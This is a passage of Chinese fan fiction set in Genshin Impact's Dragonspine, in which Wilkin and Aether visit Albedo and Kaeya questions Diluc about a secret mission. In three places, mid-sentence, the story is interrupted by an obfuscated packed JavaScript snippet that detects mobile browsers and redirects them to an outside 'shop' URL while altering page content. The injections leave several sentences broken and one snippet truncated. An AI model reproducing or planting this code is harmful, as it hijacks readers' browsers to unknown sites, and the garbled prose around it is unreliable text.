空揉了揉酸胀的眼睛,没把刚刚莫名其妙的梦境放在心上。只是将脸上短短时间就化成水的冰晶扫到地上,发自内心吐槽:“龙脊雪山的环境也太恶劣了。” 和半山腰主要干道狂啸的烈风相比,山脚下骤降的温度此刻竟然显得无比温暖。很难想像,在这样环境恶劣的极冻之地,居然有龙愿意生活在这里。 “没办法,这一届人类实力越来越弱了。” 维尔金捏碎一颗赤红之石,将沉眠之龙的热血掺入微弱的火苗。原先凭借湿漉漉柴火苟延残喘的火苗一改原先病怏怏的半死不活样,精神得像是有人往里头添了几担柴火,甚至还小心翼翼地试探性蹭了蹭维尔金的手掌心。 维尔金随意逗弄几下小火苗,另一只手拿起刚刚在空昏迷时穿好的鲜鱼。 “这么多年过去,也没想着解除龙脊雪山的禁制,平息风旋。” 火苗中的灵智太少,甚至分不清维尔金究竟是高兴还是悲伤,只能用现有的力量努力供应着越烧越旺的篝火。 维尔金端详了一阵,然后选择把手上烤焦的鱼递给空。 “来试试蒙德特产烤鱼,弥补一下错过的风神杂烩菜。” 空接过烤鱼,狠狠咬下一口香酥的烤鱼,努力忽略清醒后若有若无的心悸感。 “除了脑子还昏昏沉沉之外……鱼有点焦,这火怎么这么旺?” 维尔金低头点了点小火苗,食指竖在唇边。 嘘,安静一点—— 带你去看白垩。 巨大的树桩就像是暖烘烘的烤火炉,温暖又炙热的红光被白灰色的树干表皮层包裹,明明散发出炙热安心的暖意,但不知为何,哪怕吃了烤鱼填饱肚子,强烈的不适感依旧盘桓在空的心头。 “别想了,身体不适可能是因为缺氧,我们现在所处的地方虽然环山挡住了风雪,但空气中浓烈的冰元素魔造成的低温还是不容小觑。” 维尔金指了指地上堆成一座小山的各种矿石,言简意赅,“星银矿石和赤红之石,等会要送人,你先用来保暖吧。” 感谢那明明活着又不愿醒来的邪龙吧,凝固的龙血是最好不过的火元素结晶。 “先去看黑龙,看完后去一趟山顶打卡天空岛的最佳仰望角度,等我们下山,西风骑士团应该已经给蒙德做完大扫除了吧。” 维尔金双手合十,为自己的完美计划做出如下批复: “不愧是我,完美的计划。” “真不愧是蒙德。” 空左手抱赤红之石右手抱星银矿石,维尔金走在最前面,特瓦林和杜林之间的纠葛让这段艰难前行的路途增添了不少趣味,也难掩这段陡峭山路的难走。 “温迪他没考虑过蒙德改名叫龙之国吗?” “只是说像特瓦林和杜林这样的大家伙难得一见,提瓦特还是留有不少血统不纯的龙类的——顺便一提,杜林就是我之前提过的龙,也就是你手上抱着的赤红之石的主人,我们即将要拜访的炼金术士的兄长。” 维尔金给震惊完知识匮乏的旅行者继续补上一刀:“从伦理角度看,是亲的。” “……不愧是自由的蒙德,”空肃然起敬。 “不过,我还以为你很讨厌龙。” 维尔金顿了顿,赤红之石和手中的篝火同一时间闪烁了几下光芒。 “……我只是讨厌深渊,又恰好龙总是倒霉的被污染而已。” 元素生物的顶点就是龙类,换位思考一番,他是深渊,他也要指着龙堕落腐化。 深渊总不能指望腐化的史莱姆一头撞死天空岛巨龙,那还不如指望一下尘世七执政全员反叛投靠深渊。反正都是做梦,为什么不直接梦个大的满足一下自己。 天色渐渐阴沉,半山腰被风雪覆盖,看不见日出日落,但温度越来越低。融合赤红之石碎屑的篝火也越来越微弱。 雪山的路错综复杂,维尔金却像是轻车熟路,不一会就带空来到了一个完美能够避风的死路。 高耸的山石拦住了去路,抬头看,这块石壁甚至跟雪山整体练成一片。 毫无疑问,维尔金走错路了。 空沉默不语。 “不,按直线距离我们已经到了。” 像是在认同维尔金的话,黑龙的血液也感受到了与自己咫尺之间距离的同源同宗人造人的存在,连掺杂赤红之石的篝火都有节奏的闪烁两下。 “啧,等我三秒!” 轰—— 阿贝多麻木地翻过一页纸。 他已经习惯不走寻常路的天空岛之主和四面透风的临时营地了。 “晚上好,白垩。” 维尔金从洞中出来,施施然打了个招呼。 这次还了个生面孔。 “容我提醒,”中央的积雪被人为的清扫干净,一个头发扎成麻花样式、身着连帽大衣的少单手拿着本看不出名字的书,叹了口气,“现在是早上。” 洞口没有任何屏障遮挡,两簇篝火勉强在风雪中生存,顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723014|144901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便提示路过的人,这里还有其他人的存在。走进去一看,神情看上去格外奇怪,嘴里还在嘀咕着: “居然有忍得了祂的人……” 维尔金还没有聋到听不见阿贝多嘀咕的地步。 成为领导的第一步就是要学会接受自己稀烂的风评,天理也不例外。 “……有时候我真的想把你们这些人的脑瓜子掰开看看,”维尔金叹了口气,接过从空背包里掏出来来的矿石,“伴手礼是星银矿石和赤红之石,还有这把火你别急着灭,里面有杜林的一部分碎片,我用了点小技巧保持了它形态上的稳定……希望你的兄长不会因为太多血液没有补充回心脏就猝死,当然它要是突然贫血直接啃掉就好。” 阿贝多双手接过矿石,礼貌问候:“谢谢,不过我觉得杜林的身体素质应该还是要比你的朋友要好些的。” 突然成为对照组的空:? “我斗胆请问下,这位不会是冰神吧?” 维尔金轻咳一下,“他们全家应该都不会想当七执政的……介绍一下,这位是就是我给你说过的黑龙杜林的弟弟,目前在巴巴托斯手底下的西风骑士团工作。” 空大惊失色。 他之前甚至都已经做好了不费吹灰之力又见到一个七执政的准备,没想到答案比他想象的更加充满故事感。 空支支吾吾。 阿贝多礼貌性寒暄:“想问什么直接问就好。” “请问你也是龙吗?” 阿贝多难得无语凝噎,天理身边的怎么一个比一个不正常。 “杜林和我都是母亲大人的造物。” 原材料相同,成品不同。 杜林死后,深渊的力量仍死死缠绕在这座圣洁之山上。 就连可莉的母亲艾丽丝女士都不知道,好友托付给自己的白垩之子,早就被天理察觉。 巴巴托斯没有泄露秘密,但坏就坏在,时至今日也没有一个神或者魔女意识到,天理对龙脊雪山投射目光的频率远远高于其他现存的任何一个国家。 不幸的是,身为坎瑞亚罪人之杰作的阿贝多,意识到了。 不巧,他还跟天理撞了个满怀。 阿贝多原以为自己会被厌恶无神之国的虚假之天处决,但维尔金只是看了他一眼,就继续将视线投向天空。 意识到天理似乎并没有自己想象那般的凶神恶煞后,西风骑士团首席炼金术士兼调查小队队长暨白垩之子,接下了从自家门口薅材料充作的临时礼物。 天知道时不时回营地发现天理坐在炼金台上的杀伤力和冲击对阿贝多而言有多大。 阿贝多曾从母亲莱茵多特的只言片语中得知,天理究竟是有多么恐怖又无情的存在。 轻描淡写地毁灭一个幸福的国度,又将一切痕迹都烧灼干净。对于天空岛而言,莱茵多特是罪人,阿贝多是罪人的得意之作,如今发现天理似乎真的不打算理会自己这个“白垩层”,阿贝多到现在仍觉得不可思议。 以维尔金之名行走于人世间的天理,似乎并不如坎瑞亚人描绘的那样无情。 好奇心在阿贝多的心中生根发芽:如果天理的真实性格是这样的不靠谱,那关于这位不近人情的天理以及手下忠实的维系者的传言,究竟从何而来呢? 9. 第 9 章(二合一) 阿贝多提着水壶,盯着霸占他营地唯一一张桌子的两个不请自来的家伙,手都在发抖。 知性不全、被框在火堆的加料小篝火虽然感觉迟钝,但毕竟是同源所出,也能明显感觉身边熟悉的少年此时就是一壶已经咕噜咕噜烧开的沸水,只需要再多添一把柴火,暴沸的水汽甚至足以把龙脊雪山掀开。 本能让小篝火意识到千万不能惹维尔金生气,却又舍不得烧伤阿贝多,现在又没有实体离不开火堆,只能眼睁睁看着阿贝多怒气槽逐渐叠满,一场大战即将展开。 但实际上,阿贝多远比灵智不清的篝火想象的要冷静。 行走在提瓦特大陆丰富的实践经验让他明白,绝对不能以常人的想法揣测维尔金的脑回路,也不能顺着他的想法去思考,以免逻辑被拉到一个水平线。还有空,能跟天理这种调性的人当朋友的旅行者,虽然目前看上去好像还是个人,但也绝对有点不太正常。 强大、冷漠、高高再上的童年滤镜早就已经碎得不成样子。 除了强大这一块无法否认,阿贝多甚至怀疑维尔金本质爱好八卦。 这是秉着沉默是金的阿贝多面无表情地听着故事越来越往奇怪方向发展后得出来的宝贵结论。他硬生生的烧了十三壶水泡茶,听着维尔金从黄金的炼金造物讲到龙脊雪山的旧事,又从坎瑞亚的毁灭感慨到龙脊雪山的原初之形,甚至隐隐出现的几个魔神的名字和八卦后,阿贝多举着刚烧开的第十三壶热水,终于在维尔金停下来倒茶的空档,一副再不停下来就要同归于尽的驾驶: “你当年为什么不干脆杀死我?” 以为听到了好友陈年八卦的空手一抖,险些将茶水泼到自己脸上。而另一半口干舌燥的维尔金似乎是无法理解阿贝多过于跳跃的想法,当场宕机,以至于顺着阿贝多的话问道: “什么当年?” 营地瞬间安静,空默默退出战场,选择跟工具火坐一桌,维尔金仍然还处在状况外,表面看上去一脸茫然,实则大脑飞速运转,紧锣密鼓排查自己跟阿贝多的记忆—— 就……很正常的供奉,很正常的享受供奉,又很正常地救了白垩之子一命,免得他被腐殖层污染。 有什么大事值得他杀死这么好一个信徒吗? “黄金是罪人,杜林是毒龙,为什么白垩就天生无罪?”阿贝多不得不直接挑明。 维尔金却是松了一口气,他刚刚甚至已经到思考究竟是寒天之钉多了辐射还是龙脊雪山的寒冷让人意识不清的程度。 事实上,记忆里的阿贝多问过很多次类似的问题。 在坎瑞亚灭亡、提瓦特勉强恢复了战争爆发前的秩序,却依旧满目疮痍时,维尔金断断续续离开过天空岛几次,降临到龙脊雪山。 雪山本就荒无人烟,普通人难以僭越天空与大地交接的界限,故国覆灭后,更是再无叛逆者敢探寻名为沙芬·芬德尼尔的禁忌之所,这座忙忙碌碌又满载秘密的雪山,在很长一段时间里,成为了维尔金聊以休憩的安宁之所。 魔女的胆子总是很大,不知道是算准了他不会对无罪之人动手,还是单纯认为龙脊雪山足够安全,黄金把白垩丢给了好友,艾丽丝又任由他来龙脊雪山研究物种,于是某一天下界,他看见了黄金的造物,白垩之子。 不像是所谓的炼金造物和无智的战争兵器,也不是模仿元素生命一如残缺之黑龙杜林的拙劣赝品。维尔金能看见提瓦特的星空有属于他的命之座,创造出无数灾厄的魔女用炼金术创生出了纯白的奇迹。 维尔金收回了他的视线,以此默许了白垩之子存在。如果不出意外,他们的缘分也到此为止。 阿贝多曾经效仿蒙德的教会向风神祈祷供奉那样献上雪山上不知名的花和野果,他希望天空岛是否认可白垩的存在,而当他更加成熟、了解到名为杜林的存在后,他却更加困惑: 他的存在是正确的吗? 纵使外表略有差异,他的本质和黑龙并无差别。 在献上瓜果的间隙,他向天理询问,为何选择任由自己活下去,而不是像杜林那样封印他。 维尔金却告诉他: “别想太多,只需要享受属于你的人生即可。” 和母亲的答案一样。 但阿贝多却始终不觉得这是正确的答案,他原以为,来自天空的答案或许更加残酷,更加现实一些。 困惑伴随时间流逝,直到有一天,他终于在层层冰封之中,看见了同属于母亲造物的杜林。 巨大的心脏甚至将幽深寒冷雪山洞窟变得温暖明亮,心脏烙刻进洞穴的深处,鲜红的晶石嵌在洞穴的缝隙中,像包裹在血肉里的血管。 他看得入了迷,不自觉又走近些。 腐殖层和白垩层本同源同生,被封印在此地、之余心脏依旧焕发强大生命力的魔龙感受到白垩的力量,欢欣地邀请白垩之子与自己融为一体。 它依旧没有理解自己的存在多么的危险。 感应到距离天空岛最近的龙脊雪山爆发剧烈的深渊浓雾,大老远降临的维尔金用坚冰封住了洞口,解决了问题根源后头也不回地离开。黑龙不明白自己只是想和兄弟一起聊天都会被阻拦,哀叹,悲伤,祈求没有被不是在沉睡、就是在解决深渊路上的维尔金听见,却顺着雪山上的北风吹进阿贝多耳里。 他不解,为何天空岛的主人能够容忍白垩之子?明明他们的本质并无差别。 阿贝多无法给自己一个答案。 而随着维尔金彻底陷入沉睡,雪山不再有人来访,这个问题也被阿贝多埋藏在心底里。 直到今天,他再度问道: “为什么选择放任我的存在,而不是像杀死杜林那样杀死我?” 维尔金用茶水润了润干燥的嘴唇,岁月流逝,白垩之子行走在人世间,却好像比他这个常年沉睡在天空岛的老古董还要封建。 “你觉得一个人造人生来就是该被毁灭的?”维尔金不解的问。 难道对人造人而言,“生命”这一存在的概念也是需要思考的吗? 如果是这样的话,天空岛对于炼金术的宽容或许有待考量了。 阿贝多却反问道:“天空岛不会害怕让提瓦特人掌握了创生的禁忌后,权威再度被打破,又有像坎瑞亚一样的反叛之国吗?” 由于过早触碰到天空的穹顶,最后沦落到神明齐聚毁灭的下场。为什么不选择一开始将源头掐灭呢? 维尔金哑然失笑,的确,作为黄金的造物,阿贝多确实很容易推己及人,联想到坎瑞亚的毁灭,但他们显然想错了方向。 坎瑞亚被抹杀的一切根源在于深渊,而并非这些细致末节的部分。杜林的罪孽来源于深渊和对蒙德造成的伤害,而黄金的罪孽更多的来源于深渊,后者更是提瓦特大陆一切的根源,无神、战争、杀戮这些只是深渊批的外皮,它们制造混乱,又如腐水一样渗透在世界的各个角落。不过难得遇见像阿贝多这样对天空岛满怀敬畏之心的人,维尔金心情大好,嘴角勾起,倒是颇有那副神圣温柔的表象,只是一开口就破功—— “太谢谢你了,阿贝多!你是我活了这么多以来,第二个认为天空岛有权威这种东西的人,”维尔金忍不住用手背擦眼泪,这份来之不易的尊重他必须要好好珍惜,也要好好让这白垩之子别再想东想西,到时候别一个没注意被深渊拐骗就完了。 “不过,天空岛不需要权威这种靠不住的虚妄东西来镇住下面那些虎视眈眈的家伙们。” 维尔金顿了顿,轻笑道: “绝对的强大,才是天理(我)让七神依旧听从天空岛命令的底牌。” 不管是尘世七执政还是天空岛,所有神明如今所拥有的一切权力和地位,皆来自于数千年年间不停歇的杀伐,无论是因何种理由参战,又因何种方法获得胜利,就算看上去一个个脾气都个顶个的好,都不能忽略:从古至今,提瓦特所有的战争都只有一个原则,赢家通吃。天空岛的形象一直不怎么好这件事,维尔金自己心里也有数,但扪心自问,一个对世界不会造成负面影响的炼金术作品,真的犯不着喊打喊杀吧? 最终,维尔金作出总结:“只要你不效仿黄金和杜林干一些跟深渊勾结的事情,随便怎么样都好。” “如果真有那一天,我会杀了你,然后用你的尸体充作受难之国的孕育下一生命的养料。” 空抖了抖,维尔金一本正经地说着非常恐怖的话。 维尔金相信阿贝多会是个好人。生于魔女对世间规则的挑战,又意外地作为完美的白垩之子成长,获得了人类王国的身份,以炼金术士的身份行走至今。 会思考,说明拥有智慧;会怀疑自我,说明拥有属于人类的善恶观;认为天空岛不会允许白垩之子的存在,证明又拥有在提瓦特长生种中非常稀有的禁忌观念。单单是最后这一点宝贵品质,已经足够让阿贝多比提瓦特大陆上现存百分之九十九的长生种都更加正常了。 阿贝多一切发自内心不加修饰的表现让维尔金在龙脊雪山见到的第一眼就确定—— 这孩子可比黄金实诚多了。 至于为什么不回答阿贝多的问题,原因也很简单——他觉得已经讲得够清楚了。 当时还尚未加入蒙德骑士团的白垩之子没有意识到,天理在天空岛沉睡却现世在龙脊雪山意味着,他是活生生从沉睡中将自己拔出天空岛,下界加班处理深渊污秽的。 没人会对永无止尽的清扫工作始终如一的保持乐观,尤其是在意识到这样的工作到死都不得解脱后,维尔金屈指可数的空闲时间都在思考有什么办法能够一劳永逸地解决掉深渊。 维尔金在思考一健删除深渊的妙计,以至于随口回答后根本没有注意到自己身边那个对自己身份认知感到迷茫的人造人依旧迷茫。他还自我感觉良好,又为虔诚的信徒解答疑惑,不愧是他,临时加班还能见缝插针地履行神明义务。 可怜的阿贝多,要是知道连“魔神”这个身份也是后来添加的概念,估计早就释然了。 生命越长,越能看清楚谎言。往前数数个千年,提瓦特从来没有一个神拥有全知的权能;往后再数千年,天空岛也不全是狂妄自大的匪夷所思之举,至于魔女,一切生命的长度于世界而言也不过须臾之间,因而没必要将任何存在的话奉为圭臬。 人类嘴上相信神明,实际却是是喜欢质疑权威的生物。阿贝多对自己身份的质疑,又何尝不是他作为人类的最好表现呢? 营地彻底安静下来,篝火随着属于赤红之石力量的部分逸散到空气中,阿贝多将桌上的赤红之石拿起一块,捏碎,掺入火焰中。 “那个,咱们要不还是先走吧?” 空见彻底冷场,委婉而不失礼貌地提出先走一步地打算,顺便暗戳戳提示一番又开始喝茶大业的维尔金稍微注意下现场气氛: “我总觉得现在好像比较适合让阿贝多独自冷静一下……” “不用,我没有那么脆弱。” 维尔金美说话,阿贝多倒先婉拒了空的好意。他已经得到了自己一直以来想要的答案。不得不说,心情好了不少。、 “你们费劲来一趟龙脊雪山,总不能只是为了跑来我这里蹭点茶水喝吧?”阿贝多开始烧第十四壶热水,虽然这样也不错,但身为日理万机的天理,维尔金应该不至于这么闲吧? “本来是打算带旅行者去观摩一下杜林的遗体,但聊完之后我突然觉得去它那有怪尴尬的。”维尔金放下茶杯,深深为提瓦特的未来而感到发愁。 维尔金萎靡不振,西风骑士团在下面收拾烂摊子,作为被提防 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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凯亚挽了一个漂亮的剑花,长剑收入剑鞘,蹲下身检查愚人众身上是否存在有价值的线索看附近的营地规模,似乎已经隐隐汇聚了不少兵力。一路走来,比预想之中风雪所带来更多麻烦的,居然是至冬使节藏匿在雪山山脚下的愚人众士兵。 龙脊雪山靠蒙德一侧地势险峻,又多有丘丘人游荡,除非是调查研究人员上山,一般人还真不会深入到雪山腹地,发现驻扎于此的愚人众士兵,若不是琴的调令,恐怕还需要很长一段时间,他们才会发现至冬人的手已经伸到了蒙德的心脏。 “迪卢克,我们必须尽快向琴团长汇报,愚人众士兵被驱逐出蒙德后仍驻扎在龙脊雪山附近,甚至已经形成一定规模的兵力……” “我已经让随行的骑士团兵分两路,一路下山清扫残余的愚人众士兵,另一路返回蒙德向琴汇报,而我们眼前最重要的事是尽快前往雪山深处,完成琴交给我们的任务。” 迪卢克打断了凯亚的未尽之言,甚至赶在他这个骑兵团队长之前就已经安排好了骑士们的去处。 凯亚挑眉:“我还以为尊贵的暗夜英雄不屑于同徒有其表的西风骑士团合作。” “有话不妨直说,何必这样阴阳怪气。” 龙脊雪山地势险要、环境恶劣,因此凯亚在听到琴告诉他这次特别行动有迪卢克参与时,并没有非常意外。火元素神之眼拥有者在雪山意味着最后一线生机,在考虑行动基本安全时,迪卢克的加入能让他们小队的安全性大大提升。 但是随着小队到达龙脊雪山山脚下起,事情就越发的不对劲。 首先是山脚下的研究人员对他们的到来一无所知,甚至还劝阻他们在这个暴雪频发的季节最好不要上山,但当迪卢克递给他们一卷羊皮纸后,那几个研究人员火速更改了口风,不仅连夜帮他们规划最佳路径,甚至还毛遂自荐要成为他们的向导。 而当凯亚试探性询问他们羊皮纸上的内容,以及他们此行的目的之时,这些研究人员又表现得一问三不知,废了他好大工夫,也才堪堪得到一个用处不大的信息:那卷羊皮纸是琴的亲笔调令。 凯亚确信,自己的义兄和琴团长,一定是瞒着自己偷偷展开了一向危险的工作。 现在只剩下他们二人,正是套话的好机会。 “那现在没有外人,是时候坦诚布公了吧。” 凯亚敲了敲被骑士们推上来的木车,话里有话:“‘临时特派’,这种话骗骗别人可以,但用来搪塞自己人就不那么合适了吧?” “凯亚,知道太多并不是什么好处。” 迪卢克皱眉,如果可以,他并不希望凯亚又牵扯到这些事中,身处漩涡中心,有时候只有一无所知才能独善其身,这也是为何,迪卢克答应琴将这些所谓的“违禁物品”连同凯亚这个大活人一起带上龙脊雪山的原因。 但在凯亚眼中就是迪卢克恶疾复发,又突然展开自闭领域成了那个什么事都不愿意多谈的暗夜英雄 “行,那这些东西怎么解释——” 凯亚解开行李车上的行囊,“《野猪公主》童话读本,教会里存了不知道多少年的老竖琴,等等,这怎么也拿出来了……” 凯亚拿起邪眼,黑红色的晶石在皑皑白雪的映衬下发出幽暗又眨眼的红光。 “迪卢克,你要是遇到什么困难,一定要说出来。”凯亚紧紧握住邪眼,半晌,才深色复杂地看着自己面色依旧冷淡、却已经因为不知从何处说起而别过头的义兄。 “有什么问题大家可以一起去解决,”凯亚深吸一口气,几乎要克制不住内心深处的激动,大声说道: “就算晨曦酒庄破产、琴想要赶你走,我们也可以一起想办法解决问题的!” “既然你已经猜到那我也没什么……” 不对,迪卢克陡然一顿,冷淡的表情也略微破碎,要不是不合时宜,他甚至怀疑自己是不是耳朵出了点问题—— “谁跟你说晨曦酒庄破产了?” 10. 第 10 章 “无需多言,迪卢克,我都懂。” 凯亚径直打断迪卢克的话,似是不想再听到他的狡辩。 往日不着边际的洒脱全部化成了凝重和严肃,凯亚将手搭在义兄僵硬的肩膀上,语气沉重。骑兵小队队长不对外人显露的冷静严肃在义兄面前毫无保留的展现开来,变化之大足以让骑兵小队的全体成员惊掉下巴。 凯亚深知商场比战场更为险恶,面对危害到蒙德城安全的魔物,迪卢克可以用神之眼和手上的大剑物理解决一切,但生意场上,圆滑狡诈的敌人更加不择手段,甚至因为其明面上的合理手段和更加隐秘又阴险的手法而更加更加危险。 敌人来自于各个角落,迪卢克一人又要撑起酒庄的产业,夜晚还要兼职守卫蒙德,一时不察,绊住手脚也是在所难免。 至于琴的调令也很好解释,倘若暗夜英雄破产作为西风骑士团的代理团长无动于衷,只会使蒙德市民心寒。 看看,迪卢克甚至还带上了那邪眼—— 凯亚心里五味杂陈,邪眼于他和迪卢克而言都是一段不怎么美妙的回忆,而他被逼到要重拾邪眼,自己却没有听到半点风声…凯亚想过为了一人撑起莱艮芬德家族、守护蒙德,迪卢克奉献了太多,但没想到事情已经严重至此。 作为兄弟,作为莱艮芬德家族的义子,凯亚绝不会允许迪卢克受生意场上的重创后灰溜溜离开蒙德城。 “是因为特瓦林制造出来的风灾影响了酒庄的原材料,还是因为至冬人使下的绊子?” 凯亚喉咙沙哑,短短时间连续报出来好几个人名,其中不乏晨曦酒庄的潜在竞争者,甚至有那么几个人,连迪卢克也只是略有所闻,还有几个甚至都不是蒙德人,他只在蒸汽鸟报上听说过,似乎是以不正当竞争和陷害同行名声而臭名昭著的几个异国的小酒庄。 迪卢克一时失语,在他看不见的地方,凯亚比其他任何人都要关注晨曦酒庄的一切。 以迪卢克的性格,这些妄想使用下三滥招数抢占市场的家伙们都不足为惧,晨曦酒庄在提瓦特大陆有一席之地,也不全是靠所谓的品牌效应,产于酒庄庄园的葡萄和不断精进的配方,才是莱艮芬德家族驰骋商场的的必胜法宝。 迪卢克这边始终没有回应,凯亚的眉头锁的越来越紧,名单也越来越长。 内容之丰富、包含范围之广阔、以及覆盖行业之广泛都不由得让迪卢克怀疑,凯亚是不是每天除了巡逻和喝酒,余下的时间都用在调查那些藏在阴沟里觊觎晨曦酒庄的家伙们了。 胆大包天过头、试图晨曦酒庄下水的家伙们不是没有,但碍于莱艮芬德家族在蒙德名声,树大招风,一击后往往迅速偃旗息鼓再无动静, 迪卢克平日里要关注家族生意,夜晚又要抽出时间守卫蒙德,没工夫搭理这帮杂兵。外界甚至都不清楚,蒙德招牌的晨曦酒庄曾经也被无数同行嫁祸陷害,只是享用着香醇依旧的葡萄酒,时不时谈论着关于这座出品良好的酒庄的秘闻。 凯亚帮了迪卢克很多忙,但这是他第一次发现,凯亚对家族、对晨曦酒庄的关注和暗地里的帮助,或许要比自己想象的多得多。 都说关心则乱,怀疑家人受到不公的可能性甚至让一向精明喜怒不形于色的骑兵队长也疑神疑鬼。 虽然凯亚结论完全错误,也不妨碍迪卢克嘴角微微勾起,心情大好。 但表面上,依旧还是那副一手半握着腰,另一边手掌向上,一副没什么好说的模样: “……晨曦酒庄很好,家族的生意也没有什么问题。而且如果晨曦酒庄破产,琴为什么要吩咐骑士团护送我们上山?退一万步,就算晨曦酒庄真的因为我的失误输掉了一切,那又怎样,我相信自己能让莱艮芬德东山再起。” 迪卢克顿了顿,眼神变得危险起来,又像是在嘲讽: “你该不会觉得,我是那种失败后就会丢下一切抱着旧物哭天喊地的家伙吧?” “我认识的迪卢克可是一个人支撑起整个家族的存在,不过看到你这个时候还不忘跟我争辩,那我就放心了。” 出乎他的意料,凯亚狡黠地眨了眨眼,好像刚刚那个明晃晃毫不掩饰地关心家人的弟弟只是镜花水月。 事实上,凯亚的心也才悄然落地。 他刚刚真很真情实感得怀疑迪卢克是不是把晨曦酒庄玩脱了,只是刚刚迪卢克那副欠揍的表情让他突然意识到,自己确实是误会了。 “所以现在,亲爱的迪卢克先生,可以告诉你那可怜又一无所知的弟弟,我们尊敬的琴团长和伟大的莱艮芬德家主又有了什么全新的合作,以及你们费尽心思带着这些没用的东西,把我骗上山的真正目的了吗?” 迪卢克啧了一声,面对回归那副调笑面具的凯亚,格外无奈。以退为进转守为攻,正是骑兵队长的拿手好戏,只是在这之前,他大多数都是跟凯亚同一战线,在一旁欣赏他这一招将敌人气得狗急跳墙全盘托出,没想到凯亚会对他用这一招,自己居然完全没有看出来。 招不在新,管用就行。 “好吧,解谜游戏到此为止。” 迪卢克解释了一切,包括琴突然对至冬使节变得强硬的态度、特瓦林危机消失的真相,以及魔女口中的、来自不知名神明的威胁。 隐藏格外困难,说清楚前因后果却只需要寥寥几句话。 瞒着凯亚,是迪卢克的私心。 “我希望你不要继续再掺和这些事上,把这次雪山之行就当作骑士团的任务,安心听我指挥就好。” 他并不希望凯亚继续被这些旧事所束缚,但面对凯亚如鹰一般锐利的眼睛和作弊过头的本能,烈火也无法藏住潜藏在内心深处的秘密,他只能希望,坚冰能够想一想家人,不要将自己再度置于危险之中。可明明是劝慰的话,说起来却又变成了怎么听怎么别扭的一言堂。 “你自己觉得这合理吗?什么叫做‘我不能掺和和我自己有关的事’?” 凯亚气极反笑,对迪卢克给出来的理由也不是完全没有心理准备,他走近些,对上迪卢克逃避的目光,一字一句地说道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723016|144901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不用你说我也知道,又是亚尔伯里奇家族惹出来的祸端吧?” 迪卢克偏过头,但沉默在这个时候显然跟点头画上等号。 “既然如此,就劳烦暗夜英雄把这些伪装的没用的杂货带下山吧。”得不到想要答案的凯亚揉了揉僵硬的肩膀后,示意那些被骑士们推上来的杂物堆,“西风骑士团那边我会去解释,回你那个温馨又充满美好回忆的庄园吧,我再也不是那个需要哥哥陪着才能活下去的小孩了。” “凯亚,你属于莱艮芬德家族。” 迪卢克从来对凯亚都是无可奈何,迪卢克从来都瞒不了他。 “不过你也不必把责任揽在自己身上,丽莎告诉我,包括你在内的‘违禁品’,需要离开蒙德避一避风头。” 迪卢克言简意赅,凯亚顺着他的手看向刚刚被自己称之为杂物堆的“违禁品”…… “邪眼的严重性已经被琴上升到这种高度、甚至于需要你亲自上阵了吗?” “……不,邪眼是我预先放进来的。”迪卢克正色,然后从凯亚手中拿走了唯一一个看上去有违禁品属性的东西。 “以防有不长眼的家伙非要检查里面的东西,到时候发现最贵的西风骑士团琴在调令卷轴上写的危险物品是过家家一样的童话书,怕是觉得我们是伪造琴的亲笔实,则是要卖了这件据说是风神神器的竖琴。” 凯亚深以为然,迪卢克此时的行为在外人看来跟走私古董差不多。 “反正不管如何,我们都必须在这个冻死人的地方待着了,是吗?” 迪卢克点点头:“是的,而不出意外的话,我们可能还需要呆上很长一段时间。” “那就呆着吧,我相信琴的判断——” 再怎么逼问也无法从迪卢克这里套出零星的信息后,凯亚反倒放弃了刨根问底。 琴不是那些无趣古板又分不清大小王的旧贵族,既然这位富有责任心代理骑士团团长说什么也要把他这个大活人连带着这些像小孩子过家家玩具一样的杂物打包到龙脊雪山,就必然有她这么做的道理。 你问为什么同一件事对迪卢克主导和琴主导的态度差别这么大? 拜托,凯亚本人可是最了解自己这位义兄的个性。 死犟、一言不发、埋头苦干又不乐意让身边亲近之人见到自己受到的一切伤害。 跟迪卢克相处,要是放任他自己处理,这家伙一定会把自己弄得满身是伤,然后半夜三更里强忍着痛意入睡,早上醒来装的跟个没事人一样吧。 “走吧,我看看琴准备的地图——继续深入龙脊雪山然后把东西放在……”凯亚打开地图,皱起眉头: “布满赤红之石的眠龙谷?” 凯亚思索再三,最终还是决定依照卷轴上的指示,把这些不知道是什么东西的杂货带到眠龙谷去。 “现在是难得的无风时刻,我们尽快前往眠龙谷——” “我有预感……” “那里,一定还有愚人众驻扎的士兵。” 11.第 11 章 太阳久违地拨开云雾,积年不化的坚冰寒气瘆人,融化的新雪让整座雪山温度更低,也辨认方向变得容易许多。 维尔金站在封印魔龙心脏的洞窟前,和数百年前相比,冰层薄得太多,按理说在龙脊雪山的低温气候和维尔金的魔力加持下,封印不应该磨损得如此严重。可现在维尔金甚至只是抬手轻触封印洞口的冰壳,几滴冰水就顺着温热的手指流到指缝间,些许薄冰甚至直接剥落,掉在地上成为冰渣碎片。如果放任封印继续这么被破坏下去,用不了多久杜林的心脏又将重见天日。 “有人想放杜林出来?” 